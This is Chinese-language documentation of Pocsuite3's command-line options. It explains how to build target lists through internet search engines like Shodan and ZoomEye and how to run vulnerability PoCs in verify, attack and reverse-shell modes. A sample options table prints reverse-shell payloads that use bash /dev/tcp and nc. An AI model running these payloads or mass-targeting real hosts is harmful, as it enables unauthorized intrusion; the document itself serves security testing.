pocsuite 命令行参数说明
也可参考《架构简析》,其中对大部分重要参数做了标注。
目标加载
-u
/ --url
加载单个 URL
或 CIDR
,支持 IPv4 / IPv6。
pocsuite -r poc.py -u https://example.com
pocsuite -r poc.py -u fd12:3456:789a:1::/120
pocsuite -r poc.py -u 172.16.218.1/24
pocsuite -r poc.py -u "https://[fd12:3456:789a:1::f0]:8443/test"
-f
/ --file
从文件中加载多个 URL
或 CIDR
,每行一个。如果遇到以 #
开头的行,会跳过该行。
# this is url.txt
172.16.218.1/24
https://example.com
# localhost
pocsuite -r poc.py -f url.txt
-p
/ --ports
为 URL
或 CIDR
添加额外端口,格式:[协议:]端口
, 协议是可选的,多个端口间以 ,
分隔。
例如:pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443
会加载以下目标。
172.16.218.0
172.16.218.0:8080
https://172.16.218.0:8443
172.16.218.1
172.16.218.1:8080
https://172.16.218.1:8443
-s
使用-s
参数可以不加载 target 本身的端口,只使用 -p
提供的端口。
例如:pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443 -s
会加载以下目标。
172.16.218.0:8080
https://172.16.218.0:8443
172.16.218.1:8080
https://172.16.218.1:8443
--dork
/ --dork-zoomeye
/ --zoomeye-token
通过 ZoomEye API 批量获取测试目标。
首次使用会提示输入 ZoomEye API Key
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --zoomeye-token
参数提供。
单页检索数量为 20
,可使用 --max-page
控制检索的页数(下同)。
pocsuite -r poc.py --dork 'app:"Apache httpd"'
...
ZoomEye API token: (input will hidden)
[16:13:14] [INFO] [PLUGIN] ZoomEeye search limit 1000
[16:13:14] [INFO] [PLUGIN] try fetch targets from zoomeye with dork: app:"Apache httpd"
[16:13:18] [INFO] [PLUGIN] got 20 target(s) from zoomeye
[16:13:18] [INFO] pocsusite got a total of 20 tasks
[16:13:18] [INFO] starting 20 threads
...
--dork-shodan
/ --shodan-token
通过 Shodan API 批量获取测试目标。
首次使用会提示输入 Shodan API key
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --shodan-token
参数提供。单页检索数量为 100
。
pocsuite -r poc.py --dork-shodan '"<title>Vigor 300B</title>"'
...
[16:26:52] [INFO] {"member": true, "credits": 8, "display_name": null, "created": "***"}
[16:26:52] [INFO] [PLUGIN] shodan credits limit 8
[16:26:52] [INFO] [PLUGIN] try fetch targets from shodan with dork: "<title>Vigor 300B</title>"
[16:26:57] [INFO] [PLUGIN] got 100 target(s) from shodan
[16:26:57] [INFO] pocsusite got a total of 100 tasks
[16:26:57] [INFO] starting 100 threads
...
--dork-fofa
/ --fofa-user
/ --fofa-token
通过 Fofa API 批量获取测试目标。
首次使用会提示输入 Fofa user email
和 Fofa API Key
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --fofa-user
和 --fofa-token
参数提供。单页检索数量为 100
。
pocsuite -r poc.py --dork-fofa 'thinkphp'
...
[16:33:23] [INFO] {"error":false,"email":"***","username":"***","fcoin":48,"isvip":true,"vip_level":2,"is_verified":false,"avatar":"https://nosec.org/missing.jpg","message":"","fofacli_ver":"4.0.3","fofa_server":true}
[16:33:23] [INFO] [PLUGIN] try fetch targets from Fofa with dork: thinkphp
[16:33:25] [INFO] [PLUGIN] got 88 target(s) from Fofa
[16:33:25] [INFO] pocsusite got a total of 88 tasks
[16:33:25] [INFO] starting 88 threads
--dork-quake
/ --quake-token
通过 Quake API 批量获取测试目标。
首次使用会提示输入 Quake API key
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --quake-token
参数提供。单页检索数量为 10
。
pocsuite -r poc.py --dork-quake 'app:"F5_BIG-IP"'
...
[16:40:43] [INFO] [PLUGIN] try fetch targets from Quake with dork: app:"F5_BIG-IP"
[16:40:49] [INFO] [PLUGIN] got 10 target(s) from Quake
[16:40:49] [INFO] pocsusite got a total of 10 tasks
[16:40:49] [INFO] starting 10 threads
...
--dork-hunter
/ --hunter-token
通过 Hunter API 批量获取测试目标。
首次使用会提示输入 Hunter API key
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --hunter-token
参数提供。单页检索数量为 20
。
pocsuite -r poc.py --dork-hunter 'web.title="Vigor 2960"'
...
[16:48:09] [INFO] [PLUGIN] Hunter credits limit 今日剩余积分:499
[16:48:09] [INFO] [PLUGIN] try fetch targets from Hunter with dork: web.title="Vigor 2960"
[16:48:29] [INFO] [PLUGIN] got 20 target(s) from Hunter
[16:48:29] [INFO] pocsusite got a total of 20 tasks
[16:48:29] [INFO] starting 20 threads
...
--dork-censys
/ --censys-uid
/ --censys-secret
通过 Censys API 批量获取测试目标。
首次使用会提示输入 Censys API ID
和 Censys API SECRET
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --censys-uid
和 --censys-secret
参数提供。单页检索数量为 50
。
pocsuite -r poc.py --dork-censys 'thinkphp'
...
[16:55:29] [INFO] [PLUGIN] Censys login success, email: ***
[16:55:29] [INFO] [PLUGIN] Censys credits limit 248
[16:55:29] [INFO] [PLUGIN] try fetch targets from censys with dork: thinkphp
[16:55:32] [INFO] [PLUGIN] got 255 target(s) from Censys
[16:55:32] [INFO] pocsusite got a total of 255 tasks
[16:55:32] [INFO] starting 150 threads
...
WARNING
- 部分搜索引擎检索的数据无协议字段,或是字段不准确。
- 不同搜索引擎的 dork 语法不一样,确保提供正确的 dork。
- 如果 dork 有特殊字符,不方便在终端输入,可以 base64 格式提供,并添加
--dork-b64
参数。 - 可通过
--search-type web/host
限定搜索网站还是主机,部分搜索引擎没有对二者进行区分。
PoC 脚本加载
-r
指定一个或多个 PoC 路径(或目录),如果提供的是目录,框架将遍历目录然后加载所有符合条件的 PoC。多个路径或目录之间用空格
分隔。
# 加载单个 PoC 文件
pocsuite -r ecshop_rce.py
# 加载多个 PoC 文件
pocsuite -r pocsuite3/pocs/ecshop_rce.py pocsuite3/pocs/thinkphp_rce.py pocsuite3/pocs/wd_nas_login_bypass_rce.py
# 从目录加载
pocsuite -r pocsuite3/pocs
# 加载 nuclei template
pocsuite -r ./nuclei-templates/cves/2020/CVE-2020-14883.yaml
-k
指定关键词(支持正则)对 PoC 进行筛选,如组件名称、CVE 编号等。如果我们确认了目标组件,就可以用 -k
选项找到所以对应的 PoC 对目标进行批量测试。如果只提供了 -k
选项,-r
默认为 Pocsuite3 自带的 pocsuite3/pocs
目录。
pocsuite -r ./pocsuite3/pocs -k thinkphp
...
[17:11:05] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce.py'
[17:11:06] [INFO] loading PoC script './pocsuite3/pocs/thinkphp_rce2.py'
...
--vul-keyword
/ --ssv-id
/ --seebug-token
通过 Seebug API 读取指定组件或者类型的漏洞的 PoC。
首次使用会提示输入 Seebug API key
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --seebug-token
参数提供。
# 通过关键词加载
pocsuite --vul-keyword redis
# 通过漏洞编号加载
pocsuite --ssv-id 89715
运行控制
--threads
线程池大小控制,默认为 Min(150, 目标总数)
。
--pcap
在运行 PoC 时使用 --pcap
参数,可以将通信流量保存为 pcap 文件。
通过 wireshark 打开该文件进行流量分析。
--verify
验证模式,执行 PoC 脚本的 _verify()
方法, 进行漏洞验证。
--attack
攻击模式,执行 PoC 脚本的 _attack()
方法,具体表现取决于方法的实现。
--shell
/ --lhost
/ --lport
/ --tls
shell 模式,执行 PoC 脚本的 _shell()
方法,控制台会进入 shell 交互模式执行命令及获取输出。
Pocsuite3 在 shell 模式会默认监听本机的 6666 端(可通过 --lhost
、--lport
修改),编写对应的攻击代码,让目标执行反向连接运行 Pocsuite3 系统 IP 的 6666 端口即可得到一个 shell。
如果要启用 TLS
监听器(如 openssl 的反连 shell),可使用 --tls
参数。
TIP
在 PoC 脚本中,attack 模式和 shell 模式的实现是可选的, 如果不指定运行模式,默认是 verify。
网络控制
--proxy
/ --proxy-cred
全局 HTTP/HTTPS/SOCKS 代理,支持的协议类型有:http、https、socks4、socks5、socks5h。
pocsuite -r poc.py -u https://www.baidu.com --proxy socks5://127.0.0.1:9150
如果代理需要认证,可使用参数 --proxy-cred name:password
提供。
--timeout
全局超时设置,默认为 10s
。需要注意的是,如果某请求本身设置了超时,则会以请求本身的为准,不会覆盖。
--user-agent
HTTP 请求的 User-Agent
设置,默认为随机。
-http-debug
HTTP 的 Debug 信息,默认等级为 0
--session-reuse
启用 session 重用
--session-reuse-num
session 重用数量
其他网络请求控制选项还有:--cookie
、--host
、--referer
、--retry
、--delay
、--headers
,此处不再一一赘述。
DNSLog 服务
--ceye-token
通过 CEye API 辅助验证盲打 HTTP/DNS 请求。
首次使用会提示输入 CEye API key
,验证可用后会保存到 $HOME/.pocsuiterc
文件中,除非 token 过期,下次使用不会重复询问,也可使用 --ceye-token
参数提供。
--oob-server
/ --oob-token
通过 Interactsh API 辅助验证盲打 HTTP/DNS 请求。
Interactsh 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具,和 CEye 类似。Pocsuite3 从 1.8.8
版本开始集成了 interactsh,给用户更多选择。
通过 --oob-server
可指定自定义的 Interactsh 服务器地址,默认为 interact.sh
,如果需要认证,可通过参数 --oob-token
提供。
Docker 控制
在 v2.0.6 版本中引入了 Docker 漏洞环境搭建,具体实现方法为:在 PoC 添加 dockerfile
字段
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
author = ['']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
references = ['']
name = 'Struts2 045 RCE CVE-2017'
appPowerLink = ''
appName = 'struts2'
appVersion = ''
vulType = ''
desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
--docker-start
指定该参数会从 PoC 中获取 Dockerfile 并构建容器
--docker-port
端口映射,与 Docker 官方提供的映射一样,--docker-port 8080:8080
--docker-volume
挂载 host 文件,使用方法为:--docker-volume /host/file:/container/file
--docker-env
设置容器的环境变量,使用方法为 --docker-env NAME=VALUE
--docker-only
只启动 Docker 环境不实用 PoC 进行验证。
Web Hook
扫描完成使用 钉钉 和 企业微信 进行通知
--dingtalk-token
钉钉的 token
--dingtalk-secret
钉钉的 secret
--wx-work-key
企业微信的 Web Hook key
自定义的参数
--options
有的 PoC 脚本需要填写登录信息,或者任意命令执行时执行用户指定的命令。可在 PoC 中自定义参数,可参见:可自定义参数的 PoC
使用 --optioins
参数可以很方便的查看某 PoC 的自定义参数信息,如下:
pocsuite -k ecshop --options
[17:27:24] [INFO] loading PoC script '**/lib/python3.9/site-packages/pocsuite3-1.9.6-py3.9.egg/pocsuite3/pocs/ecshop_rce.py'
Module (pocs_ecshop_rce) options:
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
| Name | Current settings | Type | Description |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
| command | whoami | String | 攻击时自定义命令 |
| app_version | Auto | Select | 目标版本,可自动匹配 |
| payload | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' | Dict | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
| | | | bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |
| | | | |
| | | | You can select dict_keys(['nc', 'bash']) ,default:bash |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
[*] shutting down at 17:27:24
结果汇总
-v
/ --ppt
控制台日志获取结果,-v
用于控制日志等级,--ppt
可以将 IP 地址马赛克处理,方便录屏。
pocsuite -k ecshop -u 127.0.0.1 -v 2 --ppt
...
[17:47:51] [INFO] loading PoC script 'pocsuite3/pocs/ecshop_rce.py'
[17:47:51] [INFO] pocsusite got a total of 1 tasks
[17:47:51] [DEBUG] pocsuite will open 1 threads
[17:47:51] [INFO] running poc:'Ecshop 2.x/3.x Remote Code Execution' target '*.*.0.1'
[17:47:54] [INFO] Scan completed,ready to print
+------------+--------------------------------------+--------+-----------+---------+--------+
| target-url | poc-name | poc-id | component | version | status |
+------------+--------------------------------------+--------+-----------+---------+--------+
| *.*.0.1 | Ecshop 2.x/3.x Remote Code Execution | 97343 | ECSHOP | 2.x,3.x | failed |
+------------+--------------------------------------+--------+-----------+---------+--------+
success : 0 / 1
...
-o
/ --output
将结果保存为 JSON Lines 格式文件。
其他
--update
检查上游最新版本。
➜ pocsuite --update
,------. ,--. ,--. ,----. {1.9.6-706acc1}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
[*] starting at 20:18:19
[20:18:19] [INFO] Checking the latest version number of pocsuite3 on pypi
[20:18:19] [INFO] Current upstream version: 1.9.6
...
--version
输出当前安装的 Pocsuite3 的版本。
-n
/ --new
生成 PoC 模版,可参考:实战 PoC 开发
-c
通过配置文件提供所有参数,格式可见:pocsuite.ini 配置文件参数说明
--plugins
加载执行自定义的插件,详情可见:插件编写
--rule
/ --rule-req
/ --rule-filename
导出 PoC 脚本中的 suricata 规则(需要在 PoC 属性中定义 suricata_request
、suricata_respons
)。
--no-check
禁用 URL HTTP/HTTPS 协议自动纠正和蜜罐检查。